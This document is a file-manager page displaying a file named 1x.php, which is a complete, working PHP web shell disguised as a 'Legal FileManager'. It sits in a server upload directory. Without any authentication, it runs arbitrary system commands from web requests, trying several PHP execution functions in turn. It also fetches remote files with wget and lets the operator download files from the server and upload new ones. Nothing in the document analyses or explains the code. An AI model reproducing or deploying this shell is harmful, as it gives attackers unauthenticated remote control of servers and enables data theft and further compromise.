0byt3m1n1
Path:
C:
/
wamp64
/
www
/
id
/
upload
/
[
Home
]
File: 1x.php
<?php $SHELL_CONFIG=array('username'=>'h','hostname'=>'Legal FileManager',);function expandPath($path){if(preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#",$path,$match)){exec("echo $match[1]",$stdout);return $stdout[0].$match[2];}return $path;}function allFunctionExist($list=array()){foreach($list as $entry){if(!function_exists($entry)){return false;}}return true;}function executeCommand($cmd) { $output = ''; if (function_exists('exec')) { exec($cmd, $output); $output = implode("\n", $output); } else if (function_exists('shell_exec')) { $output = shell_exec($cmd); } else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) { ob_start(); system($cmd); $output = ob_get_contents(); ob_end_clean(); } else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) { ob_start(); passthru($cmd); $output = ob_get_contents(); ob_end_clean(); } else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) { $handle = popen($cmd, 'r'); while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) { $handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes); $output = stream_get_contents($pipes[1]); proc_close($handle); } return $output; }function isRunningWindows(){return stripos(PHP_OS,"WIN")===0;}function featureShell($cmd, $cwd) { $stdout = ""; if (preg_match("/^\\s*cd\\s*(2>&1)?$/", $cmd)) { chdir(expandPath("~")); } elseif (preg_match("/^\\s*cd\\s+(.+)\\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/", $cmd, $match); chdir(expandPath($match[1])); } elseif (preg_match("/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/", $cmd, $match); return featureDownload($match[1]); } elseif (preg_match("/^\\s*wget\\s+[^\\s]+\\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\\s*wget\\s+([^\\s]+)\\s*(2>&1)?$/", $cmd, $match); $url = $match[1]; $output = executeCommand("wget $url"); return array("stdout" => base64_encode($output), "cwd" => base64_encode(getcwd())); } else { chdir($cwd); $stdout = executeCommand($cmd); } return array("stdout" => base64_encode($stdout), "cwd" => base64_encode(getcwd())); }function featurePwd(){return array("cwd"=>base64_encode(getcwd()));}function featureHint($fileName,$cwd,$type){chdir($cwd);if($type=='cmd'){$cmd="compgen -c $fileName";}else{$cmd="compgen -f $fileName";}$cmd="/bin/bash -c \"$cmd\"";$files=explode("\n",shell_exec($cmd));foreach($files as&$filename){$filename=base64_encode($filename);}return array('files'=>$files,);}function featureDownload($filePath){$file=@file_get_contents($filePath);if($file===FALSE){return array('stdout'=>base64_encode('File not found / no read permission.'),'cwd'=>base64_encode(getcwd()));}else{return array('name'=>base64_encode(basename($filePath)),'file'=>base64_encode($file));}}function featureUpload($path,$file,$cwd){chdir($cwd);$f=@fopen($path,'wb');if($f===FALSE){return array('stdout'=>base64_encode('Invalid path / no write permission.'),'cwd'=>base64_encode(getcwd()));}else{fwrite($f,base64_decode($file));fclose($f);return array('stdout'=>base64_encode('Done.'),'cwd'=>base64_encode(getcwd()));}}function initShellConfig(){global $SHELL_CONFIG;if(isRunningWindows()){$username=getenv('USERNAME');if($username!==false){$SHELL_CONFIG['username']=$username;}}else{$pwuid=posix_getpwuid(posix_geteuid());if($pwuid!==false){$SHELL_CONFIG['username']=$pwuid['name'];}}$hostname=gethostname();if($hostname!==false){$SHELL_CONFIG['hostname']=$hostname;}}if(isset($_REQUEST["feature"])){$response=NULL;switch($_REQUEST["feature"]){case "shell":$cmd=$_REQUEST['cmd'];if(!preg_match('/2>/',$cmd)){$cmd.=' 2>&1';}$response=featureShell($cmd,$_POST["cwd"]);break;case "pwd":$response=featurePwd();break;case "hint":$response=featureHint($_POST['filename'],$_REQUEST['cwd'],$_POST['type']);break;case 'upload':$response=featureUpload($_POST['path'],$_POST['file'],$_REQUEST['cwd']);}header("Content-Type: application/json");echo json_encode($response);die();}else{initShellConfig();} ?><!doctypehtml><html><head><meta charset="UTF-8"><title>h@FM:~#</title><meta content="width=device-width,initial-scale=1"name="viewport"><style>body,html{margin:0;padding:0;background:#333;color:#eee;font-family:monospace;width:100vw;height:100vh;overflow:hidden}::-webkit-scrollbar-track{border-radius:8px;background-color:#353535}::-webkit-scrollbar{width:8px;height:8px}::-webkit-scrollbar-thumb{border-radius:8px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#bcbcbc}#shell{background:#222;box-shadow:0 0 5px rgba(0,0,0,.3);font-size:10pt;display:flex;flex-direction:column;align-items:stretch;max-width:calc(100vw - 2 * var(--shell-margin));max-height:calc(100vh - 2 * var(--shell-margin));resize:both;overflow:hidden;width:100%;height:100%;margin:var(--shell-margin) auto}#shell-content{overflow:auto;padding:5px;white-space:pre-wrap;flex-grow:1}#shell-logo{font-weight:700;color:#ff4180;text-align:center}:root{--shell-margin:25px}@media (min-width:1200px){:root{--shell-margin:50px!important}}@media (max-width:991px),(max-height:600px){#shell-logo{font-size:6px;margin:-25px 0}:root{--shell-margin:0!important}#shell{resize:none}}@media (max-width:767px){#shell-input{flex-direction:column}}@media (max-width:320px){#shell-logo{font-size:5px}}.shell-prompt{font-weight:700;color:#75df0b}.shell-prompt>span{color:#1bc9e7}#shell-input{display:flex;box-shadow:0 -1px 0 rgba(0,0,0,.3);border-top:rgba(255,255,255,.05) solid 1px;padding:10px 0}#shell-input>label{flex-grow:0;display:block;padding:0 5px;height:30px;line-height:30px}#shell-input #shell-cmd{height:30px;line-height:30px;border:none;background:0 0;color:#eee;font-family:monospace;font-size:10pt;width:100%;align-self:center;box-sizing:border-box}#shell-input div{flex-grow:1;align-items:stretch}#shell-input input{outline:0}</style><script>var SHELL_CONFIG=<?php echo json_encode($SHELL_CONFIG); ?>,CWD=null,commandHistory=[],historyPosition=0,eShellCmdInput=null,eShellContent=null;function _insertCommand(e){eShellContent.innerHTML+="\n\n",eShellContent.innerHTML+='<span class="shell-prompt">'+genPrompt(CWD)+"</span> ",eShellContent.innerHTML+=escapeHtml(e),eShellContent.innerHTML+="\n",eShellContent.scrollTop=eShellContent.scrollHeight}function _insertStdout(e){eShellContent.innerHTML+=escapeHtml(e),eShellContent.scrollTop=eShellContent.scrollHeight}function _defer(e){setTimeout(e,0)}function featureShell(e){_insertCommand(e),/^\s*upload\s+[^\s]+\s*$/.test(e)?featureUpload(e.match(/^\s*upload\s+([^\s]+)\s*$/)[1]):/^\s*clear\s*$/.test(e)?eShellContent.innerHTML="":makeRequest("?feature=shell",{cmd:e,cwd:CWD},function(e){e.hasOwnProperty("file")?featureDownload(atob(e.name),e.file):(_insertStdout(atob(e.stdout)),updateCwd(atob(e.cwd)))})}function featureHint(){if(0!==eShellCmdInput.value.trim().length){var e=eShellCmdInput.value.split(" "),n=1===e.length?"cmd":"file";makeRequest("?feature=hint",{filename:"cmd"==n?e[0]:e[e.length-1],cwd:CWD,type:n},function(e){if(!(e.files.length<=1))if(e.files=e.files.map(function(e){return atob(e)}),2===e.files.length)if("cmd"==n)eShellCmdInput.value=e.files[0];else{var t=eShellCmdInput.value;eShellCmdInput.value=t.replace(/([^\s]*)$/,e.files[0])}else _insertCommand(eShellCmdInput.value),_insertStdout(e.files.join("\n"))})}}function featureDownload(e,t){var n=document.createElement("a");n.setAttribute("href","data:application/octet-stream;base64,"+t),n.setAttribute("download",e),n.style.display="none",document.body.appendChild(n),n.click(),document.body.removeChild(n),_insertStdout("Done.")}function featureUpload(t){var e=document.createElement("input");e.setAttribute("type","file"),e.style.display="none",document.body.appendChild(e),e.addEventListener("change",function(){getBase64(e.files[0]).then(function(e){makeRequest("?feature=upload",{path:t,file:e,cwd:CWD},function(e){_insertStdout(atob(e.stdout)),updateCwd(atob(e.cwd))})},function(){_insertStdout("An unknown client-side error occurred.")})}),e.click(),document.body.removeChild(e)}function getBase64(o,e){return new Promise(function(e,t){var n=new FileReader;n.onload=function(){e(n.result.match(/base64,(.*)$/)[1])},n.onerror=t,n.readAsDataURL(o)})}function genPrompt(e){var t=e=e||"~";if(3<e.split("/").length){var n=e.split("/");t="…/"+n[n.length-2]+"/"+n[n.length-1]}return SHELL_CONFIG.username+"@"+SHELL_CONFIG.hostname+':<span title="'+e+'">'+t+"</span>#"}function updateCwd(e){if(e)return CWD=e,void _updatePrompt();makeRequest("?feature=pwd",{},function(e){CWD=atob(e.cwd),_updatePrompt()})}function escapeHtml(e){return e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">")}function _updatePrompt(){document.getElementById("shell-prompt").innerHTML=genPrompt(CWD)}function _onShellCmdKeyDown(e){switch(e.key){case"Enter":featureShell(eShellCmdInput.value),insertToHistory(eShellCmdInput.value),eShellCmdInput.value="";break;case"ArrowUp":0<historyPosition&&(historyPosition--,eShellCmdInput.blur(),eShellCmdInput.value=commandHistory[historyPosition],_defer(function(){eShellCmdInput.focus()}));break;case"ArrowDown":if(historyPosition>=commandHistory.length)break;++historyPosition===commandHistory.length?eShellCmdInput.value="":(eShellCmdInput.blur(),eShellCmdInput.focus(),eShellCmdInput.value=commandHistory[historyPosition]);break;case"Tab":e.preventDefault(),featureHint()}}function insertToHistory(e){commandHistory.push(e),historyPosition=commandHistory.length}function makeRequest(e,n,t){var o=new XMLHttpRequest;o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),o.onreadystatechange=function(){if(4===o.readyState&&200===o.status)try{var e=JSON.parse(o.responseText);t(e)}catch(e){alert("Error while parsing response: "+e)}},o.send(function(){var e=[];for(var t in n)n.hasOwnProperty(t)&&e.push(encodeURIComponent(t)+"="+encodeURIComponent(n[t]));return e.join("&")}())}document.onclick=function(e){e=e||window.event;var t=window.getSelection();"SELECT"!==(e.target||e.srcElement).tagName&&(t.toString()||eShellCmdInput.focus())},window.onload=function(){eShellCmdInput=document.getElementById("shell-cmd"),eShellContent=document.getElementById("shell-content"),updateCwd(),eShellCmdInput.focus()}</script></head><body><div id="shell"><pre id="shell-content"> <div id="shell-logo"> ___ ____ _ _ _ _ _ <span></span> _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span> | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span> | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span> | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span> |_| |___/ \____/ <span></span> </div> </pre><div id="shell-input"><label class="shell-prompt"for="shell-cmd"id="shell-prompt">???</label><div><input id="shell-cmd"name="cmd"onkeydown="_onShellCmdKeyDown(event)"></div></div></div></body></html>